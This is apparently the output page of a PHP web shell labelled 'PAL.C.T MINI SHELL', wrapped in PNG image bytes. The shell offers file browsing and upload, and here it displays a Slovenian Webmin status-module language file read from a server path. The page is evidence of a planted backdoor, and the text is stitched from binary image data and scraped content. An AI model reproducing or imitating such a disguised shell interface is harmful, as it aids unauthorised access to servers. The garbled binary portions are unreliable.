php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/status/lang/
upload
files >> //usr/libexec/webmin/status/lang/sl.auto

index_title=Status sistema in strežnika
index_name=Ime storitve
index_host=Na gostitelju
index_desc=Spremljanje
index_up=Stanje
index_last=Zadnji pregled
index_local=Lokalno
index_add=Dodaj monitor tipa:
index_sched=Načrtovani nadzor
index_scheddesc=Vključite ali izklopite načrtovano preverjanje monitorjev in nastavite naslov, na katerega bodo napake samodejno poslane.
index_return=seznam storitev
index_none=Trenutno ni določenih monitorjev.
index_oldtime=Stanje zadnjega načrtovanega preverjanja pri $1 
index_esnmp=Modul je konfiguriran za pošiljanje SNMP pasti na strani <a href='$3'>Config Module</a>, vendar $1 Perl modul ni nameščen. <a href='$2'>Kliknite tukaj</a> za prenos in namestitev.
index_refresh=Osveži stanje
index_refreshdesc=Izvedite takojšnjo osvežitev vseh statusov monitorja, namesto da bi čakali na naslednjo načrtovano posodobitev.
index_delete=Izbriši izbrano
index_refsel=Osveži izbrano
index_group=Člani $1 
index_tmpls=Urejanje predloge e-pošte
index_tmplsdesc=Ogled in urejanje predlog, ki se uporabljajo za izdelavo e-poštnih sporočil, poslanih, ko se nadzorovane storitve zmanjšujejo.

type_apache=Spletni strežnik Apache
type_inetd=Internet in strežnik RPC
type_xinetd=Razširjen internetni strežnik
type_squid=Proxy strežnik lignjev
type_bind8=BIND DNS strežnik
type_dnsadmin=BIND 4 DNS strežnik
type_dhcpd=DHCP strežnik
type_tcp=Oddaljena storitev TCP
type_http=Oddaljena storitev HTTP
type_sslcert=SSL potrdilo
type_ftp=Oddaljena FTP storitev
type_sendmail=Sendmail strežnik
type_postfix=Postfix strežnik
type_fail2ban=Fail2Ban Server
type_ping=Oddaljeni Ping
type_proc=Preveri postopek
type_mysql=MySQL Database Server
type_postgresql=PostgreSQL strežnik baz podatkov
type_samba=Samba strežniki
type_nfs=NFS Server
type_exec=Izvedi ukaz
type_file=Preverite datoteko ali imenik
type_traffic=Omrežni promet
type_space=Prostor na disku
type_du=Velikost imenika
type_consume=Poraba prostora na disku
type_load=Povprečno nalaganje
type_change=Sprememba datoteke ali imenika
type_oldfile=Datoteka ni spremenjena
type_qmailadmin=QMail Server
type_mon=MON Service Monitor
type_jabber=Jabber strežnik IM
type_usermin=Uporabniški spletni strežnik
type_portsentry=Portsentry Daemon
type_hostsentry=Domačin Daemon
type_webmin=Spletni strežnik Webmin
type_cfengine=Konfiguracijski motor Daemon
type_memory=Prosti spomin
type_proftpd=ProFTPD Server
type_dovecot=Dovecot IMAP/POP3 strežnik
type_mailserver=Odziv poštnega strežnika
type_sshd=SSH strežnik
type_raid=Status naprave RAID
type_iface=Stanje omrežnega vmesnika
type_init=Ukrep za zagon
type_sensors=Status senzorja LM
type_nut=NUT UPS vrednost
type_mailq=Velikost čakalne vrste
type_dns=Iskanje DNS
type_query=Poizvedba SQL
type_alive=Alive System
type_rssh=Oddaljeni SSH
type_slapd=LDAP strežnik
type_ldap=LDAP Povezava

mon_create=Ustvari Monitor
mon_edit=Urejanje monitorja
mon_virtualmin=Opozorilo! Ta monitor je povezan z domeno Virtualmin $1, zato ga tukaj ne bi smeli urejati ali brisati.
mon_header=Podrobnosti o monitorju
mon_header2=Ukazi za zagon
mon_header3=Možnosti nadzora nadzorovanih storitev
mon_desc=Opis
mon_remote=Teči na gostitelju
mon_remotes2=Teči na gostiteljih in skupinah
mon_local=Lokalno
mon_none=Ni določenih oddaljenih strežnikov
mon_nosched=Preverite na urniku?
mon_warndef=Da, in uporabite privzeti način poročanja
mon_warn1=Da, in poročite o spremembah stanja
mon_warn0=Da, in poročajte, ko se spustite
mon_warn2=Da, in poročajte, ko ste navzdol
mon_warn3=Da, vendar nikoli ne poročajte
mon_status=Trenutni status
mon_up=Zgoraj
mon_down=Dol
mon_webmin=Webmin Down
mon_timeout=Preteklo
mon_not=Ni nameščeno
mon_ondown=Če se monitor zmanjša, zaženite ukaz
mon_onup=Če se prikaže monitor, zaženite ukaz
mon_ontimeout=Če monitor spremlja časovne omejitve, zaženite ukaz
mon_clone=Modul za spremljanje
mon_err=Monitorja ni bilo mogoče shraniti
mon_edesc=Manjka opis
mon_elogin=Neveljavna prijava za RPC na strežniku Webmin $1 
mon_eremote2=S spletnim strežnikom $1 ni bilo mogoče vzpostaviti stika : $2 
mon_estatus=Webmin strežnik $1 nima modula sistema in statusa strežnika
mon_ecannot=Nimate dovoljenja za urejanje monitorjev
mon_ertype=Ta vrsta monitorja ni na voljo za $1 
mon_etype=Neveljavno ime vrste monitorja
mon_runon=Zaženite ukaze vklopljeno
mon_runon0=Ta strežnik
mon_runon1=Oddaljeni gostitelj
mon_oninfo=Opomba: Ukazi se bodo izvajali le, ko bo poslano e-poštno sporočilo
mon_fails=Napake pred poročanjem
mon_efails=Manjkajoče ali neveljavno število napak
mon_notify=Načini obveščanja
mon_notifyemail=E-naslov
mon_notifypager=Pager
mon_notifysnmp=SNMP
mon_notifysms=SMS
mon_email=Pošljite tudi e-pošto za to storitev na
mon_depend=Ne preverite, ali je monitor izključen
mon_edepend=Monitor ne more biti odvisen od sebe
mon_clone2=Klon
mon_skip=Preskočil
mon_empty=Brez članov
mon_onemem=En član
mon_members=$1 članov
mon_enoremote=Izbranih ni gostiteljev ali skupin
mon_tmpl=Predloga za sporočila
mon_notmpl=Brez (uporabite privzete nastavitve Webmin)
mon_header4=Zgodovina stanja
mon_hwhen=Preverite datum
mon_hold=Stari status
mon_hnew=Novo stanje
mon_hvalue=Vrednost
mon_changes0=Prikaži vsako vrsto dogodka
mon_changes1=Pokaži samo spremembe
mon_all=Pokaži vse zgodovinske dogodke
mon_nochanges=V zadnjih $1 zgodovinskih dogodkih ni bilo sprememb statusa.

sched_title=Načrtovani nadzor
sched_header=Načrtovane možnosti spremljanja ozadja
sched_mode=Ali je načrtovano preverjanje omogočeno?
sched_email=Poročilo o stanju e-pošte na
sched_pager=Poročilo o stanju strani na številko
sched_none=Ne pošiljajte e-pošte
sched_pnone=Ne pošiljajte strani
sched_from=Od: naslov za e-pošto
sched_int=Preverite vsakega
sched_period_0=minut
sched_period_1=ure
sched_period_2=dnevi
sched_period_3=mesecev
sched_period_4=tednov
sched_offset=s pobotom
sched_warn=Pošlji e-pošto, ko
sched_warn1=Ko storitev spremeni stanje
sched_warn0=Ko storitev zapade
sched_warn3=Dokler je storitev na voljo
sched_warn2=Vsak čas je storitev prekinjena
sched_single=Ali želite poslati eno e-pošto na storitev?
sched_hours=Monitor spremljajte med urami
sched_days=Monitor spremljajte dneve
sched_err=Načrtovanega spremljanja ni bilo mogoče shraniti
sched_eemail=Manjka e-poštni naslov
sched_eint=Manjkajoč ali neveljaven interval
sched_eoffset=Manjkajoči ali neveljavni odmik
sched_ehours=Med izbranim ni nobenega ure
sched_edays=Izbranih dni ni
sched_ecannot=Nimate urejanja urejenega spremljanja
sched_smtp=Pošlji pošto prek
sched_smtp_prog=Lokalni poštni strežnik
sched_smtp_server=SMTP strežnik
sched_esmtp=Manjkajoči ali neveljavni strežnik SMTP
sched_esmtpcmd=SMTP ukaz $1 ni uspel : $2 
sched_eemailserver=Vaš poštni strežnik ni nameščen : $1 
sched_sms=Pošlji SMS uporabniku
sched_smsno=Nihče
sched_smscarrier=Telefon na prevozniku
sched_smsnumber=s številko
sched_esmsnumber=Manjkajoča ali neštevilčna SMS številka
sched_esmsname=Manjkajoča ali neveljavna številka SMS
sched_subject=Zadevna vrstica za SMS sporočila
sched_subject0=Brez (opozorilo je v telesu)
sched_subject1=Besedilo opozorila (telo je prazno)
sched_subject2=Besedilo po meri
sched_esubject=Manjka zadeva SMS sporočila

up_since=Na vrh od $1 
depends_mod=Modul $1 ni nameščen v vašem sistemu
depends_os=Modul $1 v vašem sistemu ni podprt
depends_remote=Modul $1 ni podprt na strežniku $2 

tcp_host=Gostitelj povezave
tcp_port=Vrata za povezavo
tcp_alarm=Prekinitev povezave
tcp_ehost=Manjkajoče ali neveljavno ime gostitelja
tcp_eport=Manjkajoča ali neveljavna številka vrat
tcp_ealarm=Manjkajoča ali neveljavna časovna omejitev povezave

http_url=URL za zahtevo
http_alarm=Prekinitev povezave
http_eurl=Manjkajoči ali neveljaven URL
http_ealarm=Manjkajoča ali neveljavna časovna omejitev povezave
http_login=Prijavite se kot
http_none=Ne overite
http_user=Uporabniško ime
http_pass=geslo
http_euser=Manjka uporabniško ime
http_method=Metoda zahteve HTTP
http_regexp=Stran se mora ujemati z regexp
http_eregexp=Vstavljen ni noben regularni izraz za ujemanje strani
http_none2=Ne ujemaj se
http_ehead=Metode zahteve HEAD ni mogoče uporabiti pri preverjanju pravilnega izraza
http_codes=Sprejemljive kode stanja HTTP
http_codes_def=Privzeto ($1)
http_ecodes=Vnesena ni nobena koda HTTP za sprejem
http_ecodes3=Koda HTTP mora biti trimestna številka

ping_host=Gostitelj pinga
ping_wait=Čas za čakanje na odgovor
ping_ehost=Manjkajoče ali neveljavno ime gostitelja
ping_ewait=Manjkajoči ali neveljavni čakalni čas
ping_econfig=V modulu Config ni nastavljen ukaz ping
ping_timeout=Časovna omejitev po $1 sekundah
ping_resolv=Ime gostitelja ni bilo mogoče razrešiti

proc_pid=Teče s PID-ji $1 
proc_cmd=Ukaz za preverjanje
proc_not=Ne uspe, če je postopek
proc_not0=Ne teče
proc_not1=Teče
proc_ecmd=Manjka ukaz
proc_thresh=Število postopkov, ki morajo obstajati, da se monitor monitor šteje, da teče
proc_ethresh=Manjkajoče ali neveljavno število procesov
proc_asuser=Deluje kot uporabnik
proc_anyuser=Vsak uporabnik
proc_easuser=Uporabnik, da postopek teče kot ne obstaja

exec_cmd=Ukaz za zagon
exec_mode=Izhod iz preverjanja stanja
exec_mode0=Nadzornik neuspeha, če ukaz ne uspe
exec_mode1=Nadzornik neuspeha, če ukaz uspe
exec_mode2=Ignorirajte uspeh ali neuspeh
exec_ecmd=Manjka ukaz
exec_regexp=Primerjajte izhod z regexp
exec_noregexp=Ne preverjaj
exec_remode=Ponovni pregled
exec_remode0=Neuspešno, če se rezultat ne ujema
exec_remode1=Neuspešno, če se rezultat ujema

file_file=Datoteka, imenik ali vzorec za preverjanje
file_test=Test za izvedbo
file_test_0=Mora obstajati
file_test_1=Ne sme obstajati
file_test_2=Velikost mora biti večja od
file_test_3=Velikost mora biti manjša od
file_bytes=bajti
file_efile=Manjka ime datoteke ali imenika za preverjanje
file_esize=Neveljavna velikost datoteke
file_elarge=Datoteke so prevelike : $1 
file_esmall=Datoteke so premajhne : $1 
file_eowner=Datoteke z napačnim lastnikom : $1 
file_egroup=Datoteke z napačno skupino : $1 
file_owner=Lastnik datoteke mora biti
file_group=Skupina datotek mora biti
file_nocheck=Karkoli
file_perms=Oktalna dovoljenja morajo biti
file_eperm=Datoteke z napačnimi dovoljenji : $1 

traffic_iface=Vmesnik za spremljanje
traffic_bytes=Največ bajtov/sekundo
traffic_dir=Smer za spremljanje
traffic_dir0=Vhodni in odhodni
traffic_dir1=Samo prihodi
traffic_dir2=Samo odhodni
traffic_desc=Ta monitor beleži mrežni promet na izbranem vmesniku in ga prikazuje kot navzdol, če promet presega spodaj vneseno število bajtov. To resnično dobro deluje le, če je omogočen načrtovani nadzor v kratkem intervalu, kot na vsakih 5 minut.
traffic_eifaces=Vaš operacijski sistem nima datoteke/proc/net/dev
traffic_ebytes=Manjkajoče ali neveljavno število bajtov/sekundo

space_fs=Filesystem za preverjanje
space_min2=Minimalni prosti prostor
space_mode0=Absolutna velikost
space_mode1=Odstotek skupaj
space_desc=$1 brezplačno
space_nofs=Datotečni sistem ni nameščen
space_other=Drugo ..
space_emin=Manjka ali neveljaven prosti prostor
space_epc=Manjkajoči ali neveljavni odstotek prostega prostora
space_eother=Manjkajoči ali neveljaven datotečni sistem
space_inode=Najmanj brezplačnih vnosov
space_ierr=Samo $1 inode brez
space_merr=Samo $1 prostora
space_perr=Samo $1% brezplačno
space_dferr=Ni bilo mogoče dobiti velikosti datotečnega sistema

load_time=Povprečno naložite za preverjanje
load_1=1 minuta
load_5=5 minut
load_15=15 minut
load_max=Največje povprečno obremenitev
load_emax=Manjkajoče ali neveljavno največje povprečno nalaganje
load_ecmd=Ukaza <tt>uptime</tt> v vašem sistemu ni bilo mogoče najti
load_efmt=Izpisa ukaza <tt>uptime</tt> ni bilo mogoče razčleniti

log_create=Ustvarjen monitor $1 
log_modify=Spremenjen monitor $1 
log_delete=Izbrisan monitor $1 
log_sched=Spremenjeno načrtovano spremljanje
log_deletes=Izbrisani $1 monitorji
log_tmpl_create=Ustvarjena predloga e-pošte $1 
log_tmpl_modify=Spremenjena predloga e-pošte $1 
log_tmpl_delete=Izbrisana predloga e-pošte $1 
log_tmpl_deletes=Izbrisane $1 predloge e-pošte
log_refresh=Osveženi statusi monitorjev

acl_edit=Ali lahko urejate in ustvarjate monitorje?
acl_sched=Ali lahko spremenim načrtovani nadzor?

change_file=Datoteka ali imenik za spremljanje (ne, če je spremenjen)

jabber_eparser=Modul Perl $1 ni nameščen v vašem sistemu.

memory_min2=Minimalni prosti pomnilnik
memory_emin=Manjkajoča ali neveljavna količina brezplačnega pravega pomnilnika
memory_eproc=Webmin ne ve, kako preveriti prosti pomnilnik v vašem operacijskem sistemu
memory_free2=$1 pravi pomnilnik
memory_freeswap=$1 navidezni pomnilnik
memory_freelow=Samo $1 pravega pomnilnika
memory_freelowswap=Samo $1 navideznega pomnilnika
memory_minswap=Minimalno brezplačen virtualni pomnilnik
memory_eminswap=Manjkajoča ali neveljavna količina brezplačnega virtualnega pomnilnika

proftpd_etype=Tega monitorja ni mogoče uporabiti, če ProFTPD deluje samostojno

mailserver_to=Pošljite e-pošto na naslov
mailserver_timeout=Čas in interval
mailserver_units_0=Sekunde
mailserver_units_1=Minute
mailserver_units_2=Ure
mailserver_units_3=Dnevi
mailserver_desc=Spodnji naslov mora biti samodejni odzivnik, ki odgovarja na izvorni naslov z isto vrstico Zadeva:

oldfile_file=Datoteka za nadzor (ne, če ni spremenjena)
oldfile_diff=Ne, če ni spremenjeno za
oldfile_secs=sek

raid_device=RAID naprava
raid_edevice=Izbrana ni nobena naprava RAID
raid_bad=Zaznan je slab disk
raid_resync=Trenutno ponovno sinhroniziranje
raid_notfound=RAID naprave $1 ni mogoče najti
raid_other=Drugo ..

iface_iface=Vmesnik za preverjanje

init_action=Ukrep za preverjanje
init_eaction=Ni izbrano nobeno dejanje

refresh_title=Osveži stanje
refresh_doing=Osvežitev stanja vseh monitorjev.
refresh_doing2=Osvežitev stanja $1 izbranih monitorjev ..
refresh_done=.. Končano.

sensors_name=Senzor za preverjanje
sensors_value=Ko ni uspelo
sensors_value0=Sistem označuje opozorilo
sensors_value1=Vrednost je pod $1 
sensors_value2=Vrednost je nad $1 
sensors_cmd=Ukaz <tt>senzorji</tt> ni nameščen v vašem sistemu. Ta monitor za delovanje potrebuje paket lm_sensors.
sensors_none=V vašem sistemu niso bili zaznani nobeni senzorji. Morda boste morali zagnati ukaz <tt>senzor-zaznati</tt> inicializacijski ukaz.
sensors_cur=$1 (trenutno $2 $3)
sensors_emin=Manjkajoča ali neveljavna minimalna vrednost
sensors_emax=Manjkajoča ali neveljavna najvišja vrednost

nut_ups=NUT UPS za preverjanje
nut_name=Atribut preveriti
nut_value=Ko ni uspelo
nut_value1=Vrednost je pod $1 
nut_value2=Vrednost je nad $1 
nut_cmd=Ukaz <tt>upsc</tt> ni nameščen v vašem sistemu. Ta monitor zahteva, da je paket NUT nameščen in konfiguriran za delovanje.
nut_eups=Za preverjanje ni vnešen noben USP
nut_cur=$1 (trenutno $2)
nut_emin=Manjkajoča ali neveljavna minimalna vrednost
nut_emax=Manjkajoča ali neveljavna najvišja vrednost

mailq_system=Poštni strežnik
mailq_qmailadmin=Qmail
mailq_postfix=Postfix
mailq_sendmail=Pošlji pošto
mailq_size=Največja velikost čakalne vrste
mailq_esize=Manjkajoča ali neveljavna največja velikost čakalne vrste
mailq_toomany=Dol - $1 sporočil iz čakalnih vrst
mailq_ok=Navzgor - $1 sporočil v čakalni vrsti

dns_server=DNS strežnik
dns_host=Ime gostitelja za iskanje
dns_address=Pričakovani IP naslov
dns_eserver=Manjkajoči ali neveljavni strežnik DNS
dns_ehost=Manjkajoče ali neveljavno ime gostitelja za iskanje
dns_eaddress=Manjkajoči ali neveljaven pričakovani IP naslov
dns_ecmds=V vašem sistemu niso nameščeni niti ukazi <tt>nslookup</tt> niti <tt>dig</tt>.

monitor_sub_down=$1 navzdol na $2 
monitor_pager_down=$1 : "$2" se zniža $3 
monitor_snmp_down= $1:$2 
monitor_email_down=Monitor na $1 za '$2' je zaznal, da se je storitev znižala na $3 
monitor_sub_up=$1 varnostno kopiranje na $2 
monitor_pager_up=$1 : "$2" je varnostno kopiranje $3 
monitor_snmp_up= $1:$2 je varnostno kopirano
monitor_email_up=Monitor na $1 za '$2' je zaznal, da se je storitev vrnila nazaj na $3 
monitor_sub_un=$1 odstranjeno na $2 
monitor_pager_un=$1 : odstranitev "$2" $3 
monitor_snmp_un= $1:$2 odstranjeno
monitor_email_un=Monitor na $1 za '$2' je zaznal, da je storitev odstranjena pri $3 
monitor_sub_webmin=$1 Webmin navzdol na $2 
monitor_pager_webmin=$1 : "$2" Webmin navzdol $3 
monitor_snmp_webmin= $1:$2 Webmin navzdol
monitor_email_webmin=Monitor na $1 za '$2' je zaznal, da je Webmin padel na $3 
monitor_sub_timed=$1 je potekel na $2 
monitor_pager_timed=$1 : Poteklo je čas "$2" $3 
monitor_snmp_timed= $1:$2 je izteklo
monitor_email_timed=Monitor na $1 za '$2' je potekel pri $3 
monitor_sub_isdown=$1 navzdol na $2 
monitor_pager_isdown=$1 : "$2" se zniža $3 
monitor_snmp_isdown= $1:$2 
monitor_email_isdown=Monitor na $1 za '$2' je zaznal, da je storitev nižja na $3 
monitor_sub_isup=$1 navzgor na $2 
monitor_pager_isup=$1 : "$2" se je zvišal za $3 
monitor_snmp_isup=$1:$2 
monitor_email_isup=Monitor na $1 za '$2' je zaznal, da je storitev narasla na $3 
monitor_sub=Nadzornik storitve : $1 
monitor_sub2=Storitveni monitor
monitor_sub3=Nadzor servisa: $1 storitev
monitor_run1=Teče $1 v $2.
monitor_run2=Teče $1.
monitor_runerr=$1 na $2 : $3 ni bilo mogoče zagnati
monitor_email_stat=Trenutno stanje: $1 

deletes_egone=Eden od izbranih monitorjev ne obstaja več
deletes_enone=Izbran ni noben monitor

ftp_host=Gostitelj strežnika FTP
ftp_port=FTP vrata
ftp_user=Prijavite se kot uporabnik
ftp_anon=Anonimni
ftp_pass=Z geslom
ftp_file=Datoteka za pridobitev
ftp_none=Noben (samo prijava)
ftp_ehost=Manjkajoči ali neveljaven gostitelj strežnika FTP
ftp_eport=Manjkajoča ali neveljavna vrata strežnika FTP
ftp_efile=Manjkajoča ali neveljavna datoteka za prenos
ftp_tls=Uporabljate šifriranje TLS?
ftp_etls=TLS ni mogoče omogočiti, če ni nameščen $1 Perl modul
ftp_econn=Povezava TLS FTP ni uspela
ftp_econn2=Povezava TLS FTP ni uspela : $1 
ftp_elogin=Prijava za TLS FTP ni uspela : $1 
ftp_etlsfile=Prenos TLS FTP ni uspel : $1 

query_driver=Vrsta baze podatkov SQL
query_db=Ime baze podatkov
query_host=Gostitelj strežnika baze podatkov
query_local=Ta strežnik
query_user=Prijavite se kot uporabnik
query_pass=Prijavite se z geslom
query_sql=SQL poizvedbo za izvedbo
query_result=Pričakovani rezultati
query_ignore=Prezri rezultat
query_edriver=Modul gonilnika Perl $1 ni nameščen
query_edb=Manjkajoče ali neveljavno ime baze podatkov
query_ehost=Manjkajoče ali neveljavno ime gostitelja strežnika baze podatkov
query_euser=Neveljavno uporabniško ime
query_epass=Neveljavno geslo
query_esql=Manjka poizvedba SQL
query_eresult=Manjkajoč pričakovani rezultat
query_elogin=Prijava ni uspela : $1 
query_eprepare=Napaka SQL : $1 
query_eexecute=SQL ni uspel : $1 
query_ewrong=Nepravilen rezultat : $1 

consume_rate=Najvišja poraba (na sekundo)
consume_high=Stopnja porabe je $1 / sekunda

alive_up=Zgoraj za $1 

rssh_host=Gostitelj strežnika SSH
rssh_ruser=Prijavite se kot uporabnik
rssh_rpass=Prijavite se z geslom
rssh_nopass=Ni potrebno
rssh_nologin=Ne poskušajte se prijaviti
rssh_ehost=Manjkajoči ali neveljaven gostitelj strežnika SSH
rssh_eruser=Manjka uporabniško ime
rssh_ecmd=Ukaz <tt>ssh</tt> ni nameščen v vašem sistemu
rssh_eproc=Modul Running Proces v vašem sistemu ni podprt
rssh_wrongpass=Nepravilna prijava
rssh_failed=Povezava ni uspela
rssh_error=Napaka SSH
rssh_haspass=Geslo
rssh_port=Vhod za strežnik SSH
rssh_eport=Manjkajoča ali neveljavna številka vrat

tmpls_title=Predloge e-pošte
tmpls_ecannot=Predloge za e-pošto ne smete urejati
tmpls_none=Še ni določena nobena predloga e-pošte. Vsa opozorila bodo poslana s privzetimi sporočili Webmin.
tmpls_desc=Opis
tmpls_email=E-poštno sporočilo
tmpls_add=Dodajte novo e-poštno predlogo.
tmpls_return=seznam predlog
tmpls_delete=Izbrišite izbrane predloge

tmpl_title1=Ustvari predlogo za e-pošto
tmpl_title2=Urejanje predloge e-pošte
tmpl_header=Opozorilna sporočila predloge e-poštnih sporočil
tmpl_desc=Opis predloge
tmpl_email=E-poštno sporočilo
tmpl_sms=SMS sporočilo
tmpl_sms1=Privzeta spletna stran
tmpl_sms0=Spodaj sporočilo po meri ..
tmpl_snmp=Pager sporočilo
tmpl_instr=Navodila in nadomestki
tmpl_subs=E-poštna sporočila, sporočila SMS in pozivniki, določena na tej strani, lahko uporabljajo naslednje nadomestke :
tmpl_subs_desc=Opis storitve
tmpl_subs_host=Gostitelj se spremlja
tmpl_subs_date=Trenutni datum
tmpl_subs_time=Trenutni čas
tmpl_subs_status=Stanje storitve, na primer <i>Dol</i>
tmpl_subs2=Poleg tega lahko uporabite pogojne bloke, kot so: <tt>$1 Storitev je zmanjšana $2 Storitev je v redu $3</tt>
tmpl_err=Predloge za shranjevanje e-pošte ni bilo mogoče shraniti
tmpl_edesc=Manjka opis predloge
tmpl_emsg=Manjka e-sporočilo
tmpl_esms=Manjka SMS sporočilo
tmpl_esnmp=Manjka sporočilo SNMP
tmpl_err2=Predloga za izbris e-pošte ni uspela
tmpl_eusers=Uporabljajo ga naslednji monitorji : $1 

dtmpls_err=Predloge ni bilo mogoče izbrisati
dtmpls_enone=Izbrana ni nobena
dtmpls_eusers=$1 uporabljajo naslednji monitorji : $2 

sslcert_src=Lokacija certifikata
sslcert_url=Iz naslova HTTPS
sslcert_file=Iz datoteke na strežniku
sslcert_eurl=Manjkajoč, neveljaven ali ne-SSL URL
sslcert_efile=Manjkajoča ali neveljavna datoteka potrdila
sslcert_ecert=Potrdila ni bilo mogoče dobiti
sslcert_edown=Spletni strežnik ne deluje
sslcert_days=Dnevi pred iztekom, da ne uspejo
sslcert_when=Ko poteče
sslcert_mismatch=Ali zaznate tudi neusklajenost imena gostitelja?
sslcert_edays=Manjkajoče ali neveljavno število dni
sslcert_eopenssl=Za preverjanje potrdil je potreben ukaz <tt>openssl</tt>
sslcert_estart=Ni veljavno do $1 
sslcert_eend=Ni veljavno po $1 
sslcert_left=Up - $1 dni do izteka roka uporabnosti
sslcert_ematch=Ime gostitelja $1 se ne ujema s certifikatom $2 
sslcert_emismatch=Preverjanje imena gostitelja potrdila se lahko uporablja samo pri preverjanju URL-ja

du_dir=Imenik za spremljanje
du_max=Največja velikost
du_edir=Manjkajoča ali absolutna pot v imenik
du_emax=Manjkajoča ali neštevilčna največja velikost
du_over=Velikost je $1 
du_under=Velikost je le $1 

ldap_edriver=Modul Perl $1 ni nameščen
ldap_host=Ime gostitelja strežnika LDAP
ldap_port=LDAP strežnik vrata
ldap_ssl=Uporabljate povezavo SSL?
ldap_user=Prijava na strežnik LDAP
ldap_pass=Geslo za strežnik LDAP

info_desc=Sistemski monitor
info_last=Trenutni status
info_title=Status sistema in strežnika
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`